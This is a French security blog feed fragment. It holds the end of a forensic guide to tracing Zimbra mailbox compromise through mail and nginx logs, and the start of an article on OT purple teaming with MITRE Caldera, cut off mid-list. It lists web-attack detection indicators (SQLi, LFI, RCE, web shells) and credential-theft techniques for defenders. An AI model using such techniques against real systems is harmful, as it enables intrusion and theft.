<figure id="attachment_28515" aria-describedby="caption-attachment-28515" style="width: 1317px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28515" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/11-Recuperation-des-traces-generees-par-une-session-danalyse-amavis-zimbra.log_.png" alt=" Récupération des traces générées par une session d’analyse amavis (zimbra.log)" width="1317" height="723" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/11-Recuperation-des-traces-generees-par-une-session-danalyse-amavis-zimbra.log_.png 1317w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/11-Recuperation-des-traces-generees-par-une-session-danalyse-amavis-zimbra.log_-348x191.png 348w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/11-Recuperation-des-traces-generees-par-une-session-danalyse-amavis-zimbra.log_-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/11-Recuperation-des-traces-generees-par-une-session-danalyse-amavis-zimbra.log_-768x422.png 768w" sizes="auto, (max-width: 1317px) 100vw, 1317px" /><figcaption id="caption-attachment-28515" class="wp-caption-text"><em>Récupération des traces générées par une session d’analyse amavis (zimbra.log)</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">De ces informations vous pouvez à présent en déduire que <strong>attacker@example.com</strong> a envoyé le fichier <strong>Evil.htm</strong> de <strong>22111 octets</strong> à <strong>user25@wavestone.corp</strong> le <strong>12 novembre à 11h15</strong>, dont la signature <strong>SHA-1</strong> est <strong>9d57b71f9f758a27ccd680f701317574174e82d8</strong>. Pas si mal, non ?</p>
<p style="text-align: justify;">Au cours de vos investigations, vous pourrez filtrer davantage les résultats de ces commandes afin d&rsquo;identifier :</p>
<ul style="text-align: justify;">
<li>Les <strong>pièces jointes avec des extensions suspectes</strong> (ex. .htm, .html, .exe, .js, .arj, .iso, .bat, .ps1, ou encore des documents Office/PDF contenant des macros)</li>
<li>Les fichiers <strong>déjà observés en amont</strong> lors des premières phases de l’incident (par exemple un fichier téléchargé par le patient zéro)</li>
</ul>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Lors d’une <strong>campagne de phishing</strong> impliquant <strong>l’envoi d’un fichier malveillant</strong>, un attaquant a souvent tendance à <strong>diffuser le même fichier</strong> à plusieurs utilisateurs. Il est donc possible de s’appuyer sur une <strong>analyse statistique</strong> pour faire ressortir des <strong>valeurs anormales</strong>.</p>
<p style="text-align: justify;">La commande suivante permet d’identifier des <strong>fichiers identiques</strong> présents dans différents mails entrants :</p>
<figure id="attachment_28517" aria-describedby="caption-attachment-28517" style="width: 1320px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28517" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/12-Recuperation-des-traces-generees-par-une-session-danalyse-amavis-zimbra.log_.png" alt="Récupération des traces générées par une session d’analyse amavis (zimbra.log)" width="1320" height="528" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/12-Recuperation-des-traces-generees-par-une-session-danalyse-amavis-zimbra.log_.png 1320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/12-Recuperation-des-traces-generees-par-une-session-danalyse-amavis-zimbra.log_-437x175.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/12-Recuperation-des-traces-generees-par-une-session-danalyse-amavis-zimbra.log_-71x28.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/12-Recuperation-des-traces-generees-par-une-session-danalyse-amavis-zimbra.log_-768x307.png 768w" sizes="auto, (max-width: 1320px) 100vw, 1320px" /><figcaption id="caption-attachment-28517" class="wp-caption-text"><em>Récupération des traces générées par une session d’analyse amavis (zimbra.log)</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">La commande ci‑dessus permet de récupérer, pour <strong>chaque pi</strong><strong>è</strong><strong>ce jointe</strong> des messages reçus par Zimbra, <strong>le nombre de fois o</strong><strong>ù</strong><strong> elle a </strong><strong>é</strong><strong>t</strong><strong>é</strong><strong> observ</strong><strong>é</strong><strong>e dans d</strong><strong>’</strong><strong>autres mails</strong>, en se basant sur son <strong>nom</strong> et sa <strong>signature</strong> (SHA‑1).</p>
<p style="text-align: justify;">Dans cet exemple, le fichier <strong>Evil.htm</strong> apparaît dans <strong>40 courriels</strong>, ce qui, combiné à son extension <strong>.htm</strong>, le rend particulièrement <strong>suspect</strong>. Il serait donc pertinent de tenter de <strong>récupérer ce fichier</strong> <strong>auprès des utilisateurs concernés</strong> afin d’en vérifier la légitimité.</p>
<p style="text-align: justify;">Si l’analyse des pièces jointes ne vous a pas permis de dénicher le coupable, il reste une dernière piste à explorer : la récupération des détections de phishing par <strong>SpamAssassin</strong> (un moteur antispam exécuté par Amavis).</p>
<p style="text-align: justify;">La commande suivante permet de repérer les messages suspectés de phishing par SpamAssassin :</p>
<figure id="attachment_28519" aria-describedby="caption-attachment-28519" style="width: 1318px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28519" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/13-Recuperation-des-messages-categorises-comme-phishing-par-SpamAssassin-zimbra.log-1-2.png" alt="Récupération des messages catégorisés comme phishing par SpamAssassin (zimbra.log) (1/2)" width="1318" height="438" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/13-Recuperation-des-messages-categorises-comme-phishing-par-SpamAssassin-zimbra.log-1-2.png 1318w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/13-Recuperation-des-messages-categorises-comme-phishing-par-SpamAssassin-zimbra.log-1-2-437x145.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/13-Recuperation-des-messages-categorises-comme-phishing-par-SpamAssassin-zimbra.log-1-2-71x24.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/13-Recuperation-des-messages-categorises-comme-phishing-par-SpamAssassin-zimbra.log-1-2-768x255.png 768w" sizes="auto, (max-width: 1318px) 100vw, 1318px" /><figcaption id="caption-attachment-28519" class="wp-caption-text"><em>Récupération des messages catégorisés comme phishing par SpamAssassin (zimbra.log) (1/2)</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Cependant, cette commande ne fournit que des <strong>informations limitées</strong> : l’expéditeur, le destinataire et les règles de détection qui ont été déclenchées. Pour obtenir <strong>davantage de détails</strong> sur l’analyse complète, il faut récupérer l’<strong>ID de session Amavis</strong> associé au message (ici <strong>765283-08</strong>), puis exécuter la commande suivante :</p>
<figure id="attachment_28532" aria-describedby="caption-attachment-28532" style="width: 1319px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28532" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/13.2-Recuperation-des-messages-categorises-comme-phishing-par-SpamAssassin-zimbra.log-2-2.png" alt="Récupération des messages catégorisés comme phishing par SpamAssassin (zimbra.log) (2/2)" width="1319" height="40" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/13.2-Recuperation-des-messages-categorises-comme-phishing-par-SpamAssassin-zimbra.log-2-2.png 1319w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/13.2-Recuperation-des-messages-categorises-comme-phishing-par-SpamAssassin-zimbra.log-2-2-437x13.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/13.2-Recuperation-des-messages-categorises-comme-phishing-par-SpamAssassin-zimbra.log-2-2-71x2.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/13.2-Recuperation-des-messages-categorises-comme-phishing-par-SpamAssassin-zimbra.log-2-2-768x23.png 768w" sizes="auto, (max-width: 1319px) 100vw, 1319px" /><figcaption id="caption-attachment-28532" class="wp-caption-text"><em>Récupération des messages catégorisés comme phishing par SpamAssassin (zimbra.log) (2/2)</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Cette seconde commande permet d’accéder à des informations supplémentaires générées lors de l’analyse du message par Amavis.</p>
<p style="text-align: justify;"><strong>Il faut toutefois interpréter les résultats de SpamAssassin avec prudence</strong> car ses règles de détection peuvent générer un nombre important de faux positifs.</p>
<p> </p>
<p><span style="text-decoration: underline;"><em><strong>Exploitation d’une vulnérabilité sur le serveur web Zimbra</strong></em></span></p>
<p style="text-align: justify;"><strong>Votre expérience d’investigateur forensique vous l’a appris </strong>: ce n’est ni la première, ni la dernière fois qu’une vulnérabilité applicative permet à un attaquant de détourner des sessions utilisateur. <strong>Zimbra n’échappe pas à cette règle</strong> et son serveur web, qui expose l’accès aux boîtes mail, peut très bien être vulnérable à ce type d’attaque.</p>
<p style="text-align: justify;">La compromission du serveur web Zimbra pourrait, en théorie, permettre à un attaquant de <strong>capturer des identifiants</strong> des utilisateurs qui se connectent. « <em>Mais comment vérifier si Zimbra a subi des tentatives d’intrusion Web ?</em> » me direz-vous ?</p>
<p style="text-align: justify;">Un premier réflexe consiste à <strong>inspecter les journaux du proxy (nginx)</strong> afin d’identifier des <strong>requêtes HTTP malveillantes</strong> ou <strong>suspectes</strong> dirigées vers l’interface web :</p>
<figure id="attachment_28521" aria-describedby="caption-attachment-28521" style="width: 1501px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28521" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/14-Recuperation-des-tentatives-dexploitation-web-nginx.log-nginx.access.log_.png" alt="Récupération des tentatives d’exploitation web (nginx.log-nginx.access.log)" width="1501" height="566" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/14-Recuperation-des-tentatives-dexploitation-web-nginx.log-nginx.access.log_.png 1501w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/14-Recuperation-des-tentatives-dexploitation-web-nginx.log-nginx.access.log_-437x165.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/14-Recuperation-des-tentatives-dexploitation-web-nginx.log-nginx.access.log_-71x27.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/14-Recuperation-des-tentatives-dexploitation-web-nginx.log-nginx.access.log_-768x290.png 768w" sizes="auto, (max-width: 1501px) 100vw, 1501px" /><figcaption id="caption-attachment-28521" class="wp-caption-text"><em>Récupération des tentatives d’exploitation web (nginx.log/nginx.access.log)</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Parmi les indicateurs à rechercher dans les journaux, on retrouve notamment :</p>
<ul style="text-align: justify;">
<li>Requêtes <strong>POST</strong> ou <strong>PUT</strong> inhabituelles ou vers des endpoints inattendus</li>
<li>Tentatives d’injection (<strong>SQLi</strong>, <strong>LFI</strong>, <strong>RCE</strong> visibles dans les URI ou paramètres)</li>
<li>Accès répétés à des ressources non publiques ou à des scripts atypiques</li>
<li><strong>User-Agents</strong> étranges ou une forte concentration de requêtes depuis une même IP</li>
<li>Nombreuses erreurs <strong>4xx/5xx</strong> sur des chemins sensibles (détection de scanner/scan d’énumération)</li>
<li>Indices d’upload de fichiers (tentatives d’accès à <strong>/tmp</strong>, /<strong>uploads</strong>, etc.) ou hits sur des <strong>web shells connus</strong>.</li>
</ul>
<p style="text-align: justify;">Si vous observez des <strong>requêtes malveillantes</strong> <strong>ayant</strong> <strong>abouti</strong> (par exemple avec un code HTTP 200), il est recommandé de <strong>mener des investigations</strong> plus approfondies <strong>sur le serveur</strong> afin de déterminer si l’exploitation a réellement réussi ou non.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: left;"><span style="text-decoration: underline;"><strong><em>Compromission du poste de travail de l’utilisateur</em></strong></span></p>
<p style="text-align: justify;">Si aucun des scénarios précédents ne semble correspondre à ce que vous observez et que le point d’entrée initial reste<strong> introuvable</strong>, il est possible que l’attaquant ait <strong>récupéré les identifiants d’accès directement sur le poste de travail de l’utilisateur</strong>.</p>
<p style="text-align: justify;">Ce type de compromission peut survenir, par exemple :</p>
<ul style="text-align: justify;">
<li>À la suite d’une <strong>campagne de phishing</strong> <strong>antérieure</strong></li>
<li>Parce-que l’utilisateur a <strong>exécuté un programme malveillant</strong> sur sa machine (crack, logiciel téléchargé sur un site douteux, branchement d’une clé USB infectée, etc.).</li>
</ul>
<p style="text-align: justify;">Une fois en mesure d’exécuter du code sur le poste, l’attaquant peut facilement <strong>extraire les identifiants stockés dans le navigateur</strong>, <strong>récupérer des cookies de session</strong>, ou même <strong>installer un keylogger</strong> pour intercepter les frappes clavier.</p>
<p style="text-align: justify;">La détection de ce type de compromission dépasse le cadre de cet article. Mais gardez cette hypothèse en tête : si aucune trace d’intrusion n’apparaît dans Zimbra, <strong>le problème vient peut-être d’ailleurs</strong> <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f609.png" alt="😉" class="wp-smiley" style="height: 1em; max-height: 1em;" />.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Oui ! L’investigation est loin d’être terminée ! Mais cette première partie vous a permis de maîtriser l’architecture de Zimbra, de comprendre les différentes sources d’éléments de preuve et d’observer qu’à travers les journaux Zimbra, il est possible d’identifier plusieurs techniques de compromission. Cependant, l’accès initial ne constitue que le point de départ de nos recherches. Dans une seconde partie, nous poursuivrons l’analyse post–accès initial. Dans un premier temps, nous tenterons d’identifier les actions malveillantes effectuées par l’attaquant après la compromission d’un compte. Dans un second temps, nous passerons en revue les différentes mesures de remédiation à mettre en œuvre. La suite arrive bientôt: un article complémentaire sera publié pour approfondir ces étapes!</p>
<p style="text-align: justify;"> </p>
<h2>Références</h2>
<ul>
<li><a href="https://wiki.zimbra.com/wiki/Log_Files"><span style="color: #000080;">https://wiki.zimbra.com/wiki/Log_Files</span></a></li>
<li><a href="https://wiki.zimbra.com/wiki/Troubleshooting_Course_Content_Rough_Drafts-Zimbra_Architecture_Component_Overview"><span style="color: #000080;">https://wiki.zimbra.com/wiki/Troubleshooting_Course_Content_Rough_Drafts-Zimbra_Architecture_Component_Overview</span></a></li>
<li><a href="https://wiki.zimbra.com/wiki/Trouble_Shooting_Spam_Score_Changes"><span style="color: #000080;">https://wiki.zimbra.com/wiki/Trouble_Shooting_Spam_Score_Changes</span></a></li>
</ul>








<p>Cet article <a href="https://www.riskinsight-wavestone.com/2025/12/compromission-de-boite-mail-zimbra-de-lanalyse-a-la-remediation-partie-1/">Compromission de boîte mail Zimbra : de l’analyse à la remédiation (Partie 1)</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2025/12/compromission-de-boite-mail-zimbra-de-lanalyse-a-la-remediation-partie-1/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Purple Teaming pour l’OT : Comment passer de la conformité à la performance ?</title>
		<link>https://www.riskinsight-wavestone.com/2025/12/purple-teaming-pour-lot-comment-passer-de-la-conformite-a-la-performance/</link>
					<comments>https://www.riskinsight-wavestone.com/2025/12/purple-teaming-pour-lot-comment-passer-de-la-conformite-a-la-performance/#respond</comments>
		
		<dc:creator><![CDATA[Arnaud Soullié]]></dc:creator>
		<pubDate>Wed, 10 Dec 2025 15:36:18 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[IoT & smart products]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=28466</guid>

					<description><![CDATA[<p>Dans nos précédents articles de cette série sur la supervision cybersécurité OT (Quelle détection pour l’OT ? / Stratégie d’outillage), nous avons expliqué l’état actuel des capacités de détection OT et discuté de la bonne stratégie d’outillage. Ce troisième article se concentre sur...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2025/12/purple-teaming-pour-lot-comment-passer-de-la-conformite-a-la-performance/">Purple Teaming pour l’OT : Comment passer de la conformité à la performance ?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p><span data-contrast="auto">Dans nos précédents articles de cette série sur la supervision cybersécurité OT (</span><a href="https://www.riskinsight-wavestone.com/2025/09/quelle-detection-pour-lot-situation-actuelle-perspectives/"><span data-contrast="none">Quelle détection pour l’OT ?</span></a><span data-contrast="auto"> </span><span data-contrast="auto">/ </span><a href="https://www.riskinsight-wavestone.com/2025/10/strategie-doutillage-cybersecurite-pour-une-detection-industrielle-efficace/"><span data-contrast="none">Stratégie d’outillage</span></a><span data-contrast="auto">), nous avons expliqué l’état actuel des capacités de détection OT et discuté de la bonne stratégie d’outillage.</span> <br /><span data-contrast="auto">Ce troisième article se concentre sur une question clé : <strong>comment mesurer l’efficacité de votre détection OT ?</strong></span><strong> </strong></p>
<h1 aria-level="2">De la conformité à l’efficacité : un changement de paradigme dans les KPI </h1>
<p><span data-contrast="auto">KPI signifie </span><i><span data-contrast="auto">Key Performance Indicator</span></i><span data-contrast="auto"> (indicateur clé de performance). Cependant, nous avons tendance à créer des KPI pour suivre la progression par rapport à nos plans, non la performance réelle. Bien que cela soit utile, surveiller uniquement le déploiement ou la couverture (nombre de sites connectés au SOC, déploiement d’EDR sur les machines OT, nombre de sondes enregistrées sur la console de gestion) en dit très peu sur la capacité réelle de votre SOC à détecter un attaquant.</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<p><span data-contrast="auto">Alors, quel niveau de confiance avez-vous dans vos outils de détection, vos use cases et vos processus ? La seule façon d’en être sûr est simple : les tester. </span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<p><span data-contrast="auto">Et le meilleur moyen de les tester est d’organiser des exercices de Purple Team.</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<h1 aria-level="2">Qu’est-ce que le Purple Teaming en OT ? </h1>
<p><span data-contrast="auto">Un exercice de Purple Team est une mission collaborative entre la Red Team (attaquants) et la Blue Team (défenseurs). Contrairement à une évaluation Red Team classique, où les équipe de défense ne sont pas tenus informés, un exercice de Purple Team est un effort conjoint et itératif.</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<p><span data-contrast="auto">Cette approche collaborative permet aux deux équipes de :</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<ul>
<li><span data-contrast="auto">Partager les hypothèses sur l’environnement OT</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Valider la logique de détection en temps réel</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Identifier les zones d’ombre</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Améliorer les playbooks et les pipelines de détection</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Aligner tout le monde sur un modèle de menace réaliste</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
</ul>
<h1 aria-level="2">Réaliser un exercice de Purple Team </h1>
<p><span data-contrast="auto">Un exercice Purple Team se déroule en trois grandes phases :</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<h2>1. Préparation</h2>
<p><span data-contrast="auto">La phase de préparation est souvent la plus difficile, en particulier en OT, où la sureté de fonctionnement, la disponibilité de l’outil industriel et la dépendance aux fournisseurs doivent être prises en compte.</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<p><span data-contrast="auto">Selon la maturité de l’organisation, la préparation peut aller du très simple au très sophistiqué :</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<ul>
<li><strong>Tests unitaires </strong><br /><span data-contrast="auto">Petits tests isolés de règles de détection spécifiques (ex. : « Détecter le code fonction Modbus 90 »).</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><b><span data-contrast="auto">Tests basés sur des scénarios redoutés</span></b> <br /><span data-contrast="auto">Construire des scénarios autour des « crown jewels » de l’organisation et des modes de défaillance (ex. : « Téléversement non autorisé d’un programme sur un automate contrôlant un procédé critique »).</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><b><span data-contrast="auto">Tests enrichis par la CTI</span></b> <br /><span data-contrast="auto">Intégrer la Threat Intelligence : tester les techniques utilisées par de vrais attaquants ciblant l’OT (ex. TTP de Volt Typhoon, Sandworm, Xenotime ou de groupes ransomware visant les environnements industriels).</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
</ul>
<p><span data-contrast="auto">Pour structurer la phase de préparation, deux éléments sont essentiels :</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<ul>
<li><b><span data-contrast="auto">Une bonne connaissance de votre environnement OT</span></b> <br /><span data-contrast="auto">Planifier un exercice pertinent pour les risques métier et la détection OT, sans impacter le procédé, nécessite une connaissance approfondie du site et de son automatisation.</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><b><span data-contrast="auto">Un mapping sur la matrice </span></b><a href="https://attack.mitre.org/matrices/ics/"><b><span data-contrast="none">MITRE ATT&amp;CK for ICS</span></b></a> <br /><span data-contrast="auto">Mapper vos tests avec la matrice ATT&amp;CK vous donne un langage commun avec les équipes de détection. Cela permet de sélectionner les techniques pertinentes, d’éviter les angles morts et de garantir une couverture sur plusieurs couches : postes opérateurs, automates, IHM …</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
</ul>
<h2>2. Jour J (Exécution)</h2>
<p><span data-contrast="auto">L’exécution est réalisée conjointement :</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<ul>
<li><span data-contrast="auto">La Red Team lance des actions contrôlées et autorisées</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">La Blue Team surveille les évènements détectés en temps réel</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Les deux équipes ajustent, documentent et valident les résultats tout au long de l’exercice</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
</ul>
<p><span data-contrast="auto">Selon le périmètre et la complexité des tests, une opération Purple Team en milieu industriel peut durer de quelques heures à quelques jours.</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<h3 aria-level="4"><i><span data-contrast="none">Assurer la reproductibilité des tests avec Caldera</span></i><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335559738&quot;:40,&quot;335559739&quot;:0}"> </span></h3>
<p><span data-contrast="auto">Pour garantir la répétabilité et la cohérence entre les exercices Purple Team, l’automatisation devient essentielle. Nous utilisons </span><a href="https://www.mitre.org/resources/caldera-ot"><span data-contrast="none">Caldera</span></a><span data-contrast="auto">, un framework open-source de </span><i><span data-contrast="auto">Breach &amp; Attack Simulation</span></i><span data-contrast="auto"> (BAS) développé par MITRE pour cela.</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<p><span data-contrast="auto">En tant qu’ancien pentester, je n’ai jamais aimé le terme « pentest automatisé », mais les outils BAS sont ce qui se rapproche le plus d’une exécution de stimulis d’attaque répétable et sûre.</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<h3><i><span data-contrast="none">Pourquoi utiliser Caldera plutôt que de réaliser tous les tests manuellement ?</span></i> </h3>
<p><span data-contrast="auto">Caldera permet de :</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<ul>
<li><span data-contrast="auto">Préparer et valider une liste contrôlée de tests sur une liste contrôlée d’actifs</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">S’assurer que seules des actions autorisées sont exécutées</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Garantir la reproductibilité entre les environnements</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Rejouer exactement les mêmes actions pour mesurer les améliorations après des changements de configuration</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
</ul>
<p><span data-contrast="auto">Des plugins OT spécifiques existent déjà dans le module Caldera-OT, prenant en charge Modbus, Profinet, DNP3, etc.</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<p><span data-contrast="auto">Récemment, Wavestone a publié deux plugins OT supplémentaires :</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<ul>
<li><span data-contrast="auto">Support du protocole Siemens S7</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Actions de communication OPC-UA</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
</ul>
<h3 aria-level="4"><i><span data-contrast="none">Caldera en bref</span></i><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335559738&quot;:40,&quot;335559739&quot;:0}"> </span></h3>
<p><span data-contrast="auto">L’utilisation de Caldera repose sur quatre notions de base :</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<ul>
<li><b><span data-contrast="auto">Abilities</span></b><span data-contrast="auto"> : actions techniques atomiques (ex. lecture de coils, écriture de tags, scan d’un automate)</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><b><span data-contrast="auto">Adversaries</span></b><span data-contrast="auto"> : collections d’abilities formant un scénario</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><b><span data-contrast="auto">Operations</span></b><span data-contrast="auto"> : exécution en temps réel de ces adversaries sur une cible</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><b><span data-contrast="auto">Fact sources</span></b><span data-contrast="auto"> : paramètres fournis pour une opération ; on peut ainsi lancer les mêmes opérations sur différents environnements en changeant seulement la source de facts</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
</ul>
<p><span data-contrast="auto">La vidéo suivante présente une démonstration de Caldera sur notre maquette ICS :</span> </p>
<div align="center"><iframe loading="lazy" title="YouTube video player" src="//www.youtube.com/embed/wq8BMagjhwE" width="800" height="450" frameborder="0" allowfullscreen="allowfullscreen" data-mce-fragment="1"></iframe></div>
<div align="center"> </div>
<h2>3. Débriefing</h2>
<p><span data-contrast="auto">La majorité de la valeur ajoutée de l’exercice provient du debrief. Les types suivants de KPI peuvent être utilisés :</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<ul>
<li><b><span data-contrast="auto">Couverture de détection</span></b><span data-contrast="auto"> – quel pourcentage des stimuli exécutés a été détecté ?</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><b><span data-contrast="auto">Qualité des alertes</span></b><span data-contrast="auto"> – les alertes étaient-elles exploitables, précises et compréhensibles ?</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><b><span data-contrast="auto">Temps de réaction</span></b><span data-contrast="auto"> – combien de temps avant qu’une alerte soit déclenchée puis reconnue ?</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><b><span data-contrast="auto">Efficacité des playbooks</span></b><span data-contrast="auto"> – les bonnes actions ont-elles été prises dans les délais attendus ?</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
</ul>
<p><span data-contrast="auto">Ces résultats peuvent permettre d’aboutir à :</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<ul>
<li><span data-contrast="auto">Des règles de détection mises à jour</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Des playbooks SIEM/SOC améliorés</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Une meilleure architecture de supervision</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Du matériel de formation pour les analystes et ingénieurs</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
</ul>
<h1 aria-level="2">Commencez à tester dès maintenant ! </h1>
<p><span data-contrast="auto">Le Purple Teaming apporte une valeur immédiate, quel que soit votre niveau de maturité actuel :</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<ul>
<li><span data-contrast="auto">Il valide vos outils dans des conditions réelles</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Il forme vos équipes SOC et OT</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
